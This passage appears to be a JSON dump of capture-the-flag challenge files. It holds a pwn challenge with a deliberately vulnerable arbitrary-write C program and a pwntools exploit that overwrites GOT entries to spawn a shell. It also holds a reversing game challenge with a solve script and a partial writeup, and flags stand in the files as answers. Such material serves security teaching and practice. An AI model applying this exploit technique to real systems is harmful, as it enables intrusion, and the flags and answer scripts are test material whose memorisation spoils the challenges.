    "path": "pwn/write-what-where/challenge/write-what-where.c",
    "content": "#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n\nvoid init() {\n\tsetvbuf(stdin, 0, 2, 0);\n\tsetvbuf(stdout, 0, 2, 0);\n}\n\nint main() {\n\tinit();\n\n\tchar where_buf[16];\n\tlong where;\n\tchar what[4];\n\n\tputs(\"write\");\n\n\tputs(\"what?\");\n\tread(0, what, 4);\n\n\tputs(\"where?\");\n\tread(0, where_buf, 9);\n\twhere = atoi(where_buf);\n\n\t*(int*)where = *(int*)what;\n\n\texit(0);\n}\n"
  },
  {
    "path": "pwn/write-what-where/challenge.yml",
    "content": "version: \"0.1\"\nid: write-what-where\nname: write what where\ncategory: pwn\ndescription: |\n  You've got one write. What do you do?\n\n  Author: joseph#8210\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/write-what-where\n  - ./challenge/libc.so.6\n\nflags:\n  - DUCTF{arb1tr4ry_wr1t3_1s_str0ng_www}\n"
  },
  {
    "path": "pwn/write-what-where/solve/solve.py",
    "content": "from pwn import *\n\nlibc = ELF('../challenge/libc.so.6')\nexe = ELF('../challenge/write-what-where')\nconn = remote('0.0.0.0', 1337)\n\ndef www(what, where):\n    conn.sendafter('what?\\n', what)\n    conn.sendlineafter('where?\\n', where)\n\n# overwrite exit with main+33 to get infinite writes\n# while avoiding the call to init()\nwww(p32(exe.symbols['main']+33), str(exe.got['exit']))\n\n# replace stdin with puts got\nwww(p32(exe.got['puts']), str(exe.symbols['stdin']))\nwww(p32(0), str(exe.symbols['stdin']+4))\n\n# overwrite setvbuf with puts to get libc leak\nwww(p32(exe.plt['puts']), str(exe.got['setvbuf']))\nwww(p32(0), str(exe.got['setvbuf'] + 4))\n\n# overwrite exit with main to trigger the call to init()\nwww(p32(exe.symbols['main']), str(exe.got['exit']))\n\n# parse leak\nlibc_leak = u64(conn.recvline()[:-1].ljust(8, b'\\x00'))\nlibc_base = libc_leak - 0x809d0\nlog.success('libc base: ' + hex(libc_base))\n\nbin_sh = libc_base + 0x1abf05\nsystem = libc_base + libc.symbols['system']\n\n# overwrite exit with main+33 again to avoid init()\nwww(p32(exe.symbols['main']+33), str(exe.got['exit']))\n\n# replace stdin with pointer to /bin/sh string\nwww(p64(bin_sh)[:4], str(exe.symbols['stdin']))\nwww(p64(bin_sh)[4:], str(exe.symbols['stdin']+4))\n\n# overwrite setvbuf with system for the win\nwww(p64(system)[:4], str(exe.got['setvbuf']))\nwww(p64(system)[4:], str(exe.got['setvbuf']+4))\n\n# overwrite exit with main to trigger the call to init()\nwww(p32(exe.symbols['main']), str(exe.got['exit']))\n\nconn.interactive()\n"
  },
  {
    "path": "rev/bullet-hell/Dockerfile",
    "content": "FROM ubuntu:20.04\n\nRUN apt-get update && apt-get install -y \\\n    openssh-server \\\n&& rm -rf /var/lib/apt/lists/*\n\nCOPY ./challenge/ /home/ductf/\nRUN chmod +x /home/ductf/bullet_hell\nRUN useradd -ms /home/ductf/bullet_hell ductf\nRUN echo \"ductf:ductf\" | chpasswd\n\nRUN mkdir /var/run/sshd\nRUN sed -i 's/#PasswordAuthentication/PasswordAuthentication/g' /etc/ssh/sshd_config\nRUN sed -i 's/#Port 22/Port 1337/g' /etc/ssh/sshd_config\nRUN chmod -x /etc/update-motd.d/*\n\nEXPOSE 1337\nCMD [\"/usr/sbin/sshd\", \"-D\", \"-e\"]\n"
  },
  {
    "path": "rev/bullet-hell/README.md",
    "content": "# bullet hell\n\n**Category:** reversing\n\n**Difficulty:** medium-hard\n\n**Author:** joseph#8210\n\nCan you survive in this land of illusions?\n\n```\nssh ductf@0.0.0.0 -p 1337\n```\n\nPassword: `ductf`\n\n**Attached files:**\n- ./challenge/bullet_hell (sha256: fdbe8686b1f8b94149d717c8784b13163997bdad352c5c7b7235dbd3f1e15b1e)\n"
  },
  {
    "path": "rev/bullet-hell/challenge/bullet_hell.c",
    "content": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <ncurses.h>\n\n#define WIN_SCORE 1337\n#define GAME_WIDTH 30\n#define GAME_HEIGHT 40\n#define WHEN_MORE_BULLETS 25\n#define NUM_MORE_BULLETS 35\n#define PLAYER_CHAR 'p'\n#define BULLET_CHAR 'x'\n\ntypedef struct {\n\tint x, y;\n\tint dx, dy;\n} bullet_t;\n\ntypedef struct {\n\tint player_x, player_y;\n\tint score;\n\tbullet_t** bullets;\n\tsize_t bullets_len;\n} game_t;\n\nvoid generate_bullets(game_t* game_state) {\n\tbullet_t** bullets;\n\n\t// get current number of bullets\n\tint curr_num_bullets = game_state->bullets_len;\n\tif(game_state->bullets) {\n\t\tbullets = (bullet_t**) reallocarray(game_state->bullets, curr_num_bullets + NUM_MORE_BULLETS, sizeof(bullet_t*));\n\t} else {\n\t\tbullets = (bullet_t**) calloc(2*NUM_MORE_BULLETS, sizeof(bullet_t*));\n\t}\n\n\tint type = rand() % 4;\n\n\tif(type == 0) {\n\t\t// random barrage from above\n\t\tfor(int i = 0; i < NUM_MORE_BULLETS; i++) {\n\t\t\tbullet_t* bullet = (bullet_t*) malloc(sizeof(bullet_t));\n\t\t\tbullet->x = 1 + rand() % (GAME_WIDTH - 1);\n\t\t\tbullet->y = 1 + rand() % (GAME_HEIGHT/3);\n\t\t\tbullet->dx = 0;\n\t\t\tbullet->dy = 1;\n\t\t\tbullets[curr_num_bullets++] = bullet;\n\t\t}\n\t} else if(type == 1) {\n\t\t// barrage from left and right\n\t\tfor(int i = 1 ; i < NUM_MORE_BULLETS; i++) {\n\t\t\tbullet_t* bullet = (bullet_t*) malloc(sizeof(bullet_t));\n\t\t\tif(rand() % 2 == 0) {\n\t\t\t\tbullet->x = 1;\n\t\t\t\tbullet->dx = 1;\n\t\t\t} else {\n\t\t\t\tbullet->x = GAME_WIDTH - 1;\n\t\t\t\tbullet->dx = -1;\n\t\t\t}\n\t\t\tbullet->y = i;\n\t\t\tbullet->dy = 1;\n\t\t\tbullets[curr_num_bullets++] = bullet;\n\t\t}\n\t} else if(type == 2) {\n\t\t// barrage from above, except for one safe position\n\t\tint safe1 = 1 + rand() % (GAME_WIDTH - 1);\n\t\tint safe2 = 1 + rand() % (GAME_WIDTH - 1);\n\t\tfor(int i = 1; i < GAME_WIDTH; i++) {\n\t\t\tif(i == safe1 || i == safe2) continue;\n\t\t\tbullet_t* bullet = (bullet_t*) malloc(sizeof(bullet_t));\n\t\t\tbullet->x = i;\n\t\t\tbullet->y = 1;\n\t\t\tbullet->dx = 0;\n\t\t\tbullet->dy = 1;\n\t\t\tbullets[curr_num_bullets++] = bullet;\n\t\t}\n\t} else if(type == 3) {\n\t\t// circular blast from a few random points\n\t\tfor(int j = 0; j < NUM_MORE_BULLETS / 8; j++) {\n\t\t\tint center_x = 1 + rand() % (GAME_WIDTH - 1);\n\t\t\tint center_y = 1 + rand() % (GAME_HEIGHT - 1);\n\t\t\tfor(int i = 0; i < 8; i++) {\n\t\t\t\tbullet_t* bullet = (bullet_t*) malloc(sizeof(bullet_t));\n\t\t\t\tbullet->x = center_x;\n\t\t\t\tbullet->y = center_y;\n\t\t\t\tswitch(i) {\n\t\t\t\t\tcase 0:\n\t\t\t\t\t\tbullet->dx = 1;\n\t\t\t\t\t\tbullet->dy = 0;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 1:\n\t\t\t\t\t\tbullet->dx = bullet->dy = 1;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 2:\n\t\t\t\t\t\tbullet->dx = 0;\n\t\t\t\t\t\tbullet->dy = 1;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 3:\n\t\t\t\t\t\tbullet->dx = -1;\n\t\t\t\t\t\tbullet->dy = 1;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 4:\n\t\t\t\t\t\tbullet->dx = -1;\n\t\t\t\t\t\tbullet->dy = 0;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 5:\n\t\t\t\t\t\tbullet->dx = bullet->dy = -1;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 6:\n\t\t\t\t\t\tbullet->dx = 0;\n\t\t\t\t\t\tbullet->dy = -1;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 7:\n\t\t\t\t\t\tbullet->dx = 1;\n\t\t\t\t\t\tbullet->dy = -1;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tbullets[curr_num_bullets++] = bullet;\n\t\t\t}\n\t\t}\n\t}\n\n\tgame_state->bullets = bullets;\n\tgame_state->bullets_len = curr_num_bullets;\n}\n\nvoid die() {\n\tendwin();\n\tputs(\"You lose :(\");\n\texit(1);\n}\n\nvoid win() {\n\tendwin();\n\tFILE* fp = fopen(\"flag.txt\", \"r\");\n\tchar flag[255];\n\tfgets(flag, 255, fp);\n\tprintf(\"%s\", flag);\n\texit(0);\n}\n\nvoid update_bullets(WINDOW* window, game_t* game_state) {\n\tint i = 0;\n\tif(!game_state->bullets) return;\n\tfor(i = 0; i < game_state->bullets_len; i++) {\n\t\tbullet_t* bullet = game_state->bullets[i];\n\t\tif(!bullet) continue;\n\n\t\t// print bullet\n\t\t// mvwinsch(window, bullet->y, bullet->x, BULLET_CHAR);\n\n\t\t// check for collision with player\n\t\tif(bullet->x == game_state->player_x && bullet->y == game_state->player_y) {\n\t\t\tdie();\n\t\t}\n\n\t\t// update bullet position\n\t\tbullet->x += bullet->dx;\n\t\tbullet->y += bullet->dy;\n\n\t\t// check if the bullet is out of the game\n\t\tif(bullet->x < 1 || bullet->x > GAME_WIDTH - 1 || bullet->y < 1 || bullet->y > GAME_HEIGHT - 1) {\n\t\t\tfree(bullet);\n\t\t\tgame_state->bullets[i] = NULL;\n\t\t}\n\t}\n\n\t// remove null bullets\n\tbullet_t** bullets = (bullet_t**) calloc(i, sizeof(bullet_t*));\n\tint k = 0;\n\tfor(int j = 0; j < i; j++) {\n\t\tif(game_state->bullets[j]) {\n\t\t\tbullets[k++] = game_state->bullets[j];\n\t\t}\n\t}\n\tfree(game_state->bullets);\n\tgame_state->bullets = bullets;\n}\n\nint play() {\n\tgame_t* game_state = (game_t*) malloc(sizeof(game_t));\n\tgame_state->player_x = GAME_WIDTH / 2;\n\tgame_state->player_y = GAME_HEIGHT / 1.2;\n\n\tWINDOW* window = newwin(GAME_HEIGHT+1, GAME_WIDTH+1, 0, 0);\n\tbox(window, 0, 0);\n\twrefresh(window);\n\ttimeout(1000);\n\n\tint clock = 0;\n\twhile(1) {\n\t\tclock++;\n\t\tif(clock % WHEN_MORE_BULLETS == 0) {\n\t\t\tgenerate_bullets(game_state);\n\t\t}\n\n\t\twclear(window);\n\t\tmvprintw(2, GAME_WIDTH + 2, \"score: %d\\n\", game_state->score);\n\t\tupdate_bullets(window, game_state);\n\t\tmvwinsch(window, game_state->player_y, game_state->player_x, PLAYER_CHAR);\n\t\tbox(window, 0, 0);\n\t\tmove(0, 0);\n\t\twrefresh(window);\n\n\t\tint inp = getch();\n\t\tif(inp == 'h') {\n\t\t\tif(game_state->player_x > 1) {\n\t\t\t\tgame_state->player_x--;\n\t\t\t}\n\t\t} else if(inp == 'j') {\n\t\t\tif(game_state->player_y < GAME_HEIGHT - 1) {\n\t\t\t\tgame_state->player_y++;\n\t\t\t}\n\t\t} else if(inp == 'k') {\n\t\t\tif(game_state->player_y > 1) {\n\t\t\t\tgame_state->player_y--;\n\t\t\t}\n\t\t} else if(inp == 'l') {\n\t\t\tif(game_state->player_x < GAME_WIDTH - 1) {\n\t\t\t\tgame_state->player_x++;\n\t\t\t}\n\t\t}\n\n\t\tgame_state->score++;\n\t\tif(game_state->score >= WIN_SCORE) {\n\t\t\twin();\n\t\t}\n\t}\n}\n\nint main() {\n\tsrand(0);\n\tinitscr();\n\tcbreak();\n\tnoecho();\n\tkeypad(stdscr, TRUE);\n\tprintw(\"Enter a key to start...\\n\");\n\tgetch();\n\trefresh();\n\tplay();\n}\n\n"
  },
  {
    "path": "rev/bullet-hell/challenge/flag.txt",
    "content": "DUCTF{i_th1nk_w3're_g0nna_n33d_a_lunatic_d1fficul7y}\n"
  },
  {
    "path": "rev/bullet-hell/challenge.yml",
    "content": "version: \"0.1\"\nid: bullet-hell\nname: bullet hell\ncategory: reversing\ndescription: >\n  Can you survive in this land of illusions?\n\n\n  SSH password: `ductf`\n\n\n  Author: joseph#8210\n\nconnection_info: ssh ductf@${host} -p ${port}\n\ntags:\n  - medium\n\nfiles:\n  - ./challenge/bullet_hell\n\nflags:\n  - DUCTF{i_th1nk_w3're_g0nna_n33d_a_lunatic_d1fficul7y}\n"
  },
  {
    "path": "rev/bullet-hell/solve/solve.py",
    "content": "from blessed import Terminal\nfrom ctypes import *\nfrom time import sleep\n\nDIED = 0\nWIN_SCORE = 1337\nGAME_WIDTH = 30\nGAME_HEIGHT = 40\nWHEN_MORE_BULLETS = 25\nNUM_MORE_BULLETS = 35\nPLAYER_CHAR = 'p'\nBULLET_CHAR = 'x'\n\ndef generate_bullets(game_state, rand):\n    t = rand() % 4\n    if t == 0:\n        for i in range(NUM_MORE_BULLETS):\n            bullet_x = 1 + (rand() % (GAME_WIDTH - 1))\n            bullet_y = 1 + (rand() % (GAME_HEIGHT//3))\n            bullet_dx = 0\n            bullet_dy = 1\n            game_state['bullets'].append((bullet_x, bullet_y, bullet_dx, bullet_dy))\n    elif t == 1:\n        for i in range(1, NUM_MORE_BULLETS):\n            if rand() % 2 == 0:\n                bullet_x = 1\n                bullet_dx = 1\n            else:\n                bullet_x = GAME_WIDTH - 1\n                bullet_dx = -1\n            bullet_y = i\n            bullet_dy = 1\n            game_state['bullets'].append((bullet_x, bullet_y, bullet_dx, bullet_dy))\n    elif t == 2:\n        safe1 = 1 + rand() % (GAME_WIDTH - 1)\n        safe2 = 1 + rand() % (GAME_WIDTH - 1)\n        for i in range(1, GAME_WIDTH):\n            if i in [safe1, safe2]:\n                continue\n            bullet_x = i\n            bullet_y = 1\n            bullet_dx = 0\n            bullet_dy = 1\n            game_state['bullets'].append((bullet_x, bullet_y, bullet_dx, bullet_dy))\n    elif t == 3:\n        for _ in range(NUM_MORE_BULLETS//8):\n            center_x = 1 + rand() % (GAME_WIDTH - 1)\n            center_y = 1 + rand() % (GAME_HEIGHT - 1)\n            for i in range(8):\n                bullet_dx = [1, 1, 0, -1, -1, -1, 0, 1][i]\n                bullet_dy = [0, 1, 1, 1, 0, -1, -1, -1][i]\n                game_state['bullets'].append((center_x, center_y, bullet_dx, bullet_dy))\n\ndef print_game(game_state, term):\n    board = [list('+' + '-' * (GAME_WIDTH - 1) + '+')]\n    for _ in range(GAME_HEIGHT):\n        board.append(list('|' + ' ' * (GAME_WIDTH - 1) + '|'))\n    board.append(list('+' + '-' * (GAME_WIDTH - 1) + '+'))\n    board[game_state['player_y']][game_state['player_x']] = term.on_blue(PLAYER_CHAR)\n    for bullet in game_state['bullets']:\n        bullet_x, bullet_y, _, _ = bullet\n        board[bullet_y][bullet_x] = term.on_orange(BULLET_CHAR)\n    out = '\\n'.join(''.join(r) for r in board)\n    print(out)\n    print(term.move(2, GAME_WIDTH + 5) + term.blue(f'score: {game_state[\"score\"]}'))\n\ndef update_bullets(game_state):\n    for i in range(len(game_state['bullets'])):\n        bullet_x, bullet_y, bullet_dx, bullet_dy = game_state['bullets'][i]\n\n        if bullet_x == game_state['player_x'] and bullet_y == game_state['player_y']:\n            return DIED\n\n        bullet_x += bullet_dx\n        bullet_y += bullet_dy\n        game_state['bullets'][i] = (bullet_x, bullet_y, bullet_dx, bullet_dy)\n\n        if bullet_x < 1 or bullet_x > GAME_WIDTH - 1 or bullet_y < 1 or bullet_y > GAME_HEIGHT - 1:\n            game_state['bullets'][i] = None\n\n    game_state['bullets'] = [b for b in game_state['bullets'] if b is not None]\n\n\ndef simulate(rand, save_game):\n    MOVES = ''\n\n    game_state = {\n        'player_x': GAME_WIDTH // 2,\n        'player_y': int(GAME_HEIGHT / 1.2),\n        'score': 0,\n        'bullets': []\n    }\n\n    clock = 0\n    term = Terminal()\n    with term.cbreak():\n        while 1:\n            clock += 1\n            if clock % WHEN_MORE_BULLETS == 0:\n                generate_bullets(game_state, rand)\n\n            print(term.home + term.clear, end='')\n            died = update_bullets(game_state)\n            if died == DIED:\n                print('died! moves: ' + MOVES)\n                return\n            print_game(game_state, term)\n\n            if clock - 1 < len(save_game):\n                player_move = save_game[clock - 1]\n                sleep(0.08)\n            else:\n                player_move = term.inkey(0.1)\n            player_x = game_state['player_x']\n            player_y = game_state['player_y']\n            if player_move in ['h', 'a'] and 1 < player_x:\n                game_state['player_x'] -= 1\n            elif player_move in ['j', 's'] and player_y < GAME_HEIGHT - 1:\n                game_state['player_y'] += 1\n            elif player_move in ['k', 'w'] and 1 < player_y:\n                game_state['player_y'] -= 1\n            elif player_move in ['l', 'd'] and player_x < GAME_WIDTH - 1:\n                game_state['player_x'] += 1\n            else:\n                player_move = 'x' # filler to skip time\n\n            MOVES += player_move\n            game_state['score'] += 1\n            if game_state['score'] >= WIN_SCORE:\n                print('won! moves: ' + MOVES)\n                return\n\nlibc = CDLL('/lib/libc.so.6')\nlibc.srand(0)\nsaved_game = 'kjlhhkljhkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxxxxxjjxjxjxjxjxjxjxjxjxjxhxxhxxxxxxlxxxxkxxxjxxxxhxhxhxhxxlxlxxxlxlxxxlxxxxhxxhxlxlxhxxxhxkxxlxjxxxxhxxxjjklxxxlxkxlkxlxxxlxxxxlxlxlxlxlxlxjxjxjxjxjxlxxkxkxkxkxlxxxxhjxhxhxjxxhxkxhxhxxxxlxxxjxjxjxjxxhxhxxxxxxlxxxxxxxhxhxhxxlxxhxxxxlxxxxxxxxxxxxxxxxxxxxkxxlxxxxhxxxhxxxxxxxxxxxxxjxxlxxkhxjxxxhxxxxxxlxlxlxlxlxlxxxxxxxxxxxhxhxxhxxxxxxxxhxhxhxxxxxxxxhxhxxxkxkhxxxxxxxxxxxxxjxxxxxhxxxxxlxlxlxxxxjxxxxxxxlxlxxxxxxxxhxxlxxhxhxxxxxxxlxlxlxlxxxxxhxhxxhxxhxxxxxxkxxlxxxxlxxxkxjxlxxxlxxxlxlxlxlxxhxhxhxhxhxhxhxhxhxxxxxxxxxxxxxxxxxxkxkjxxxkxxxklkxkxlxlxlxlxlxlxlxlxlxlxkxkhjxjhxhjxhjxjhxlxlxlxlxxxxhxxxxjhxjhxxxxlxxxxxxlxxhxhxhxhxhxhxxxxxxjxxxxxxhxjjxkxkxkxkxkxkxxxlxlxlxlxxxxhxjxhjxxxxxxhxxhxhxxlxxhxhxxlxxxlxlxlxlxlxlxxxxxxxxxxxxxxxxxhxhxxxxxxxkxxxxxxxxxxxxxlxlxlxkxxxkxxxxxxxxxxxxxxlxxxxlxxxxlxxhxhxhxhxhxxxxxxjxxxkxxhxxxjxhxjhxxxxxxxkxkxxxlxxxxhxhxhlxxxxlllllllllllxxxxxxkxxxxkxxxkhjhxxjhxhjxjhxhjxhjxhjxjhxhjxhjxhxhxhxhxxxxxxxxxxxxxxhxhxhxxhxhxhxlxlxxlxlxxlxhxhxhxhxlxlxlxlxxlxxkxxxxxklxxxxlxhxxlxlxlxxxxlxlxxxhxxhxxxkxkxxxxkxxxxxxxlxlxlxlxxxhxhxhxhxxkxxhxxhxkxhxxxxxxxkxlxxxxxxxlxlxlxlxlxlxlxlxxxxxxjhxxxlxxxxxxxxxjxxjxxxxxjxxxxxhxxxhxxxhxhxxxxxhxxxxhjxxxxhxxxxxxxxhxxlxxxxxxxxjxxxxlxlxlxxhxxxhxxxxxxxxxhxhxhxhxhxhxhxhxxxhxxxxxxlxlxxxxlxxxlxxxxhxxxxxxxxxxxxxxxxlxxxlxxxxhxxxxxxxlxlxlxlxlxxxxxxxhxxxxxxxxxxxxxxxxxxxxhxhxxxlxxxxxxxxxxxhxhxxhxxlxxlxlxxjlxxxxhxxhxxxkxxlxlxjxjxjkxxxkxxxhxhxhxxlxxlxkxxxlxxxlxlxlxlxlxkxxlxxxxxxxxxhxxxkxlxlxlxlxxlxxxhxxxxhxhxhxhxhxhxhxhxhhhxhxxxxxxxxxlxkxkxhxxxxxxxkxjxjxjxjxxxhxkxkxkxxxxxxxxxxjxjlxjxxxxxxxlxxxxjxlxxlxxkxjxxxxxhxxxjxxhxxlkxklxxxljxxxxlxxxxxxxxkxkxxxxxxxxjxjxjxlxxkxkxkxkxxxxxxjxhxxxxxxhxhxhxhxhxxxlxxljxxxxxxlxlxlxkxkxkxkxhxxjhxxjhxhxxxxlxxjxjxxlxxkxkxxjxhxxxxxkxhxhxxhxkxlxjxxljxlxxxxhxhxhxhxlxlxxljxxxxxxxkxkxhxhxhxxxxlxlxjxlxkxxxxxhxxjxxxklxxxlxjxjxjxxxxlxxkxkxkxxhxhxhxhxxxjxljxlxlxxxxkxkxhxjjxjxlxxkxxxxxxxkhxhxxxxxkxxxxxxxlxxxxhxhxxxkxxkxkxxjlxlxjxlxxxlxlxkxxxkxkxkxjxjxjxjxjxxlxlxlxlxlxlxxxxxkhxjxhjxhxxlxlxxxxxxlxxxhxxxxxxxxjxxxxlxxxxxxxkxhxxhxhxhxxxhxxlxxxxkxxxxlxhxjxhxjxhxhxhxhxhxhxhxxxxxxxxjxlxhxhxhxhxhxhxxxxxxxxxxxxlxxlxlxxxxxxxxxxxlxxxxxlxlxlxxxxxxxxxxxlxxxxhxhxxxlxlxxxhxhxhxhxxxlxlxlxlxlxxxxkxkxxkhxxjxxxlxxlxxxxxxxhxhxhxhxxxxxxxxxxxxxxlxjxxxxxhxxxxxhxhxxxlxlxlxxxxxlxkhxhxhxhxxlxlxlxlxxxxxxlxlxxxxxxxhxhxhxlxlxxjxxxxkxxhxhxhxhxxxxlxlxlxlxxljxjxlxlxlxlxxxlxxxxxxxxxxjxjxlxxlxxxlxxxhxhxhxhxhxxlxlxlxlxklkkxxxlkhxhxhxxxxxxxhxxxxxxlxkhxhjxhjxhxxxkhxxxxxxxxxhxjxxxjxxhxxxxhxhxhxlxlxlxxkxxxxxxxxxlxxlxlxxlxlxxlxxxhxxxxxxhxhxxjxxkxhxjxxhxjxxkxhxxlxlxlxlxlxlxlxlxlxxl'\n# saved_game = ''\nsimulate(libc.rand, saved_game)\n"
  },
  {
    "path": "rev/bullet-hell/solve/writeup.md",
    "content": "# Challenge Overview\n\nWe are given a machine to SSH into and a binary. The binary runs as our shell when we SSH into the machine. It looks like some kind of game where our character is denoted by `p` and we can move it around with `hjkl`. We have a score at the top right as well. If the player is familiar with bullet hell games (or used Google to learn what it is) they might have noticed something strange; there are no bullets! It turns out that there are, it's just that they are invisible. The goal of the challenge will be to be reach a certain score, but to do that, you'll need to be able to avoid the bullets, and to do that, you'll need to know where the bullets are. As we'll see, the bullets are deterministically generated and the entire game can be simulated and solved offline to figure out a winning sequence of moves which we can then copy and paste into the remote server to get the flag.\n\n## Reversing\n\nThe binary is relatively easy to understand with Ghidra or IDA's decompilation. It isn't stripped so there are function names which make it easier to navigate through the binary and understand what functions do what. A lot of the code is just ncurses functions which can be safely ignored.\n\nThe `play` function looks like this:\n\n```C\nvoid play(void)\n\n{\n  int iVar1;\n  int *game_state;\n  undefined8 window;\n  undefined8 uVar2;\n  int iStack32;\n  \n  game_state = (int *)malloc(0x20);\n  *game_state = 0xf;\n  game_state[1] = 0x21;\n  uVar2 = 0x101a38;\n  window = newwin(0x29,0x1f,0,0);\n  wborder(window,0,0,0,0,0,0,0,0,uVar2);\n  wrefresh(window);\n  wtimeout(stdscr);\n  iStack32 = 0;\n  do {\n    iStack32 = iStack32 + 1;\n    if (iStack32 % 0x19 == 0) {\n      generate_bullets(game_state);\n    }\n    wclear(window);\n    mvprintw(2,0x20,\"score: %d\\n\",game_state[2]);\n    update_bullets(window,game_state);\n    uVar2 = 0x101b3e;\n    iVar1 = wmove(window,game_state[1],*game_state);\n    if (iVar1 != -1) {\n      uVar2 = 0x101b54;\n      winsch(window,0x70);\n    }\n    wborder(window,0,0,0,0,0,0,0,0,uVar2);\n    wmove(stdscr,0,0);\n    wrefresh(window);\n    iVar1 = wgetch(stdscr);\n    if (iVar1 == 0x68) {\n      if (1 < *game_state) {\n        *game_state = *game_state + -1;\n      }\n    }\n    else {\n      if (iVar1 == 0x6a) {\n        if (game_state[1] < 0x27) {\n          game_state[1] = game_state[1] + 1;\n        }\n      }\n      else {\n        if (iVar1 == 0x6b) {\n          if (1 < game_state[1]) {\n            game_state[1] = game_state[1] + -1;\n          }\n        }\n        else {\n          if ((iVar1 == 0x6c) && (*game_state < 0x1d)) {\n            *game_state = *game_state + 1;\n          }\n        }\n      }\n    }\n    game_state[2] = game_state[2] + 1;\n    if (0x538 < game_state[2]) {\n      win();\n    }\n  } while( true );\n}\n```\n\nWe assume the chunk of 32 byte memory allocated at the start holds the game state since it is used in almost every branch of execution. Observing its use even further, we can see that the first two fields of the game state struct are integers that hold the player's current x and y positions. Towards the end of the `play` function, we see an if-block that calls the `win` function if `game_state[2]` is greater than 1336. In each iteration of the while loop, this value is also incremented. We conclude that this holds our score, and to get the flag we'll need to get a score of 1337.\n\n## Bullet Generation\n\nThe important part of the binary is how it generates the bullets. There is a very suspiciously named function `generate_bullets` which sounds like it might be responsible for that:\n\n```C\nvoid generate_bullets(long game_state)\n\n{\n  int r;\n  uint s;\n  int r2;\n  int *bullet;\n  undefined4 *bullet2;\n  uint r_;\n  int num_bullets;\n  int i;\n  int j;\n  int k;\n  int l;\n  int ii;\n  void *bullets;\n  \n  num_bullets = (int)*(undefined8 *)(game_state + 0x18);\n  if (*(long *)(game_state + 0x10) == 0) {\n    bullets = calloc(0x46,8);\n  }\n  else {\n    bullets = (void *)reallocarray(*(undefined8 *)(game_state + 0x10),(long)(num_bullets + 0x23),8);\n  }\n  r = rand();\n  r_ = (uint)(r >> 0x1f) >> 0x1e;\n  s = r + r_ & 3;\n  r = s - r_;\n  if (s == r_) {\n    for (i = 0; i < 0x23; i = i + 1) {\n      bullet = (int *)malloc(0x10);\n      r = rand();\n      *bullet = r % 0x1d + 1;\n      r = rand();\n      bullet[1] = r % 0xd + 1;\n      bullet[2] = 0;\n      bullet[3] = 1;\n      *(int **)((long)num_bullets * 8 + (long)bullets) = bullet;\n      num_bullets = num_bullets + 1;\n    }\n  }\n  else {\n    if (r == 1) {\n      for (j = 1; j < 0x23; j = j + 1) {\n        bullet2 = (undefined4 *)malloc(0x10);\n        s = rand();\n        if ((s & 1) == 0) {\n          *bullet2 = 1;\n          bullet2[2] = 1;\n        }\n        else {\n          *bullet2 = 0x1d;\n          bullet2[2] = 0xffffffff;\n        }\n        bullet2[1] = j;\n        bullet2[3] = 1;\n        *(undefined4 **)((long)num_bullets * 8 + (long)bullets) = bullet2;\n        num_bullets = num_bullets + 1;\n      }\n    }\n    else {\n      if (r == 2) {\n        r = rand();\n        r2 = rand();\n        for (k = 1; k < 0x1e; k = k + 1) {\n          if ((k != r % 0x1d + 1) && (k != r2 % 0x1d + 1)) {\n            bullet = (int *)malloc(0x10);\n            *bullet = k;\n            bullet[1] = 1;\n            bullet[2] = 0;\n            bullet[3] = 1;\n            *(int **)((long)num_bullets * 8 + (long)bullets) = bullet;\n            num_bullets = num_bullets + 1;\n          }\n        }\n      }\n      else {\n        if (r == 3) {\n          for (l = 0; l < 4; l = l + 1) {\n            r = rand();\n            r2 = rand();\n            for (ii = 0; ii < 8; ii = ii + 1) {\n              bullet = (int *)malloc(0x10);\n              *bullet = r % 0x1d + 1;\n              bullet[1] = r2 % 0x27 + 1;\n              switch(ii) {\n              case 0:\n                bullet[2] = 1;\n                bullet[3] = 0;\n                break;\n              case 1:\n                bullet[3] = 1;\n                bullet[2] = bullet[3];\n                break;\n              case 2:\n                bullet[2] = 0;\n                bullet[3] = 1;\n                break;\n              case 3:\n                bullet[2] = -1;\n                bullet[3] = 1;\n                break;\n              case 4:\n                bullet[2] = -1;\n                bullet[3] = 0;\n                break;\n              case 5:\n                bullet[3] = -1;\n                bullet[2] = bullet[3];\n                break;\n              case 6:\n                bullet[2] = 0;\n                bullet[3] = -1;\n                break;\n              case 7:\n                bullet[2] = 1;\n                bullet[3] = -1;\n              }\n              *(int **)((long)num_bullets * 8 + (long)bullets) = bullet;\n              num_bullets = num_bullets + 1;\n            }\n          }\n        }\n      }\n    }\n  }\n  *(void **)(game_state + 0x10) = bullets;\n  *(long *)(game_state + 0x18) = (long)num_bullets;\n  return;\n}\n```\n\nLooking through the if-else blocks, we can see that there are a few different logics for generating bullets. A common thing we see is a 16 byte chunk being allocated. `bullet[2]` and `bullet[3]` always contain small values like `-1`, `0`, `1` while `bullet[0]` and `bullet[1]` contain larger values between `1` and `30`, and `1` and `40`. The bullet struct looks something like\n\n```C\nstruct bullet {\n    int x, y;\n    int dx, dy;\n};\n```\n\nso this gives us an idea of where the bullets start, and where they move towards (this can also be confirmed by looking at the `update_bullets` function which uses these values as we expect).\n\nMost importantly, we note that these values are all decided by `rand` which is a libc function that provides \"random\" numbers. These numbers are not truly random however, and if the randomness was seeded by a predictable seed, we can easily predict what the random numbers will be. At the very start of the `main` function, we see a call to `srand(0)`, so the seed is a known fixed value! Since we know the seed, we can easily simulate the random number generation and hence the bullet generation.\n\n## Winning the Game\n\nTo ensure our simulation is in sync with the server's, we need to be careful and make sure to call `rand` whenever the binary does. We can find all references to `rand` to help with this.\n\nSince we are only interested in finding a sequence of winning moves, we can modify things like how fast things move, etc. to give us an easier time winning the game if we decide to play it manually.\n\nThere isn't much left to do other than carefully implementing the generation logic and maybe an interface to play the game. Since the win score is only 1337 and you get one point every move you make, it's very reasonable to play the game manually and record the sequence 